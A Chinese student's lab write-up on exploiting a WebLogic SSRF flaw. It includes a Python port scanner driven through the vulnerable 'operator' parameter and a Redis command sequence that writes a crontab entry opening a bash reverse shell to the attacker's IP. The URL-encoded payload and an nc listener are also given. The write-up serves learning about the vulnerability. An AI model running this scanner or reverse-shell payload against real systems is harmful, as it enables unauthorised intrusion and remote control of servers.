Weblogic ssrf

集训第五周 星期一~二

一.知识点:

1.ssrf:

服务端请求伪造,好像有三种利用方式,但是我目前就只会最普通的一种,利用SSRF进行端口探测,也是写这道题需要用的。有时候服务端的一个内网中有漏洞,可是我们又没有办法直接访问,所以我们就需要通过服务器,去访问服务器的内网,所以叫服务端请求伪造。有这个漏洞的条件,就是服务器端,需要有与内网传输数据的接口,要不然无法访问内网啊。通常情况下,比如一个图片的地址, 服务器端如果把图片保存在内网中,让后通过文件包含去访问这个图片.

http://xxx.xxx.xxx.xxx/index.php?image=http://192.168.123.123/1.jpg

那么如果对传入的参数过滤不严的话, 就可能存在ssrf漏洞。附上一个链接,讲ssrf的:https://www.jianshu.com/p/d1d1c40f6d4c 。专业一点的解释:问题存在于应用程序在加载用户提供的URL时,没能正确验证服务器的响应,然后就反馈回了客户端。攻击者可以利用该漏洞绕过访问限制(如防火墙),进而将受感染的服务器作为代理进行端口扫描,甚至访问系统中的数据。

2.redis

其实至今不知道这到底是个什么东西,有人说是服务器,有人说是数据库,有人说是其他的东西,但这都不重要。我们需要知道:默认配置中,在服务运行的时候,会开放一个没有验证的TCP/6379端口,提供的这个接口是很“宽容”。它会尝试去解析处理每一次输入,如果是自己可以理解的命令,就会去执行,但前提条件是必须通过6379这个端口去访问它。这里再给一个链接,讲redis的:https://www.secpulse.com/archives/5357.html

3.crontab

这是一个在Linux的etc/下的文件,里面会存放一些命令,和每条命令在什么时间执行,知道这些就可以了。如果想深入理解,具体的看这个吧。https://www.cnblogs.com/peida/archive/2013/01/08/2850483.html

二.实战:

1.找漏洞

发包,抓包,观察。发现operator这个参数,传递的是一个URL,也就是说,服务器会去访问这个网站,那么它是不是可以去访问自己的内网主机,是否有SSRF漏洞了?Weblogic ssrf_第1张图片经过我们的测试,它在传入不同的URL时,返回的结果是不同的。当传入的URL和端口存在,服务器可以访问时,返回的是“Received a response”
在这里插入图片描述当端口不存在时,会返回
在这里插入图片描述
端口存在,但是不能访问http:127.0.0.1:7001
在这里插入图片描述当访问不同的URL和端口时,回显不一样,所以这里存在SSRF漏洞。但是我有点不明白,为什么不管输入什么,都会有一个 “An error has occurred”,问题不大,继续。

2.端口探测

端口探测这个东西时要用脚本探测的,但我们要先知道它的内网的网段,这个就猜吧,目前不知道有什么好的办法。我的是172.18.0.xxx,那么我们就扫描每一个可能存在的主机(从1到255),从存在的主机中,再扫描每一个端口。附上一个别人写的,等我学会了,再附上我的。运行完,可以发现在172.0.0.2这个主机上,开放了一个6379端口。

import requests
import _thread
import time
def set_ip():
    for i in range(1,256):
        _thread.start_new_thread(scan,(i,))
        time.sleep(3)
def scan(ip):
    ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000','6389','6379')
    url = "http://192.168.170.135:7001/uddiexplorer/SearchPublicRegistries.jsp"
    urls = "?operator=http://172.18.0.{0}:{1}&rdoSearch=name&txtSearchname=&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search"
    print("172.18.0.",ip)
    for j in ports:
        payload = urls.format(ip,j)
        html = requests.get(url+payload)
        if "Tried all" in html.text or "No route to host" in html.text:
            pass
        else:
            print("172.18.0.",ip,j)
if __name__ == '__main__':
    set_ip()


3.提权

刚才说了,redis的6379端口极其友好,通过这个端口去访问它,只要是它可以看懂的命令,它都会执行。那么我们就往crontab这个文件里写命令,让它反弹shell。第一行“set 1 \n\n\n\n"我也不知道为什么要这样,同学说,那个1,就是什么属性啊之类的,当做固定格式吧,然后那个\n不加也可以,但是好多人的payload都加了,不知道为什么。后面的那几个*号,意思是这条命令一直执行,也就是一直执行反弹shell的命令。第二行是设置redis备份文件的工作目录,第三行是写入哪个文件,如果不存在,就创建。第四行,结束命令。这在上面那个链接里有讲。

text

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.170.134/1337 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

aaa

要把这个这个命令给url编码一下,因为我们传递这些语句,系统会自动把换行去掉,那么这些命令就连在一起了,就成了病句了。所以把它们URL编码一下,而redis会把%0D%0A当做换行,也就可以分隔命令了。但为什么要加text和aaa了?这个还不知道。
url编码后为:
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.170.134%2F1337%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

我们在攻击机上,监听这个端口: nc -lvv 1337,让后发送数据包,得到shell。
Weblogic ssrf_第2张图片Weblogic ssrf_第3张图片

三.总结

1.发现有SSRF漏洞
2.发现一台主机开放了redis的6379端口
3.传递redis命令,向系统crontab文件写入命令
4.系统自动执行crontab里的命令,反弹shell

你可能感兴趣的:(Weblogic ssrf)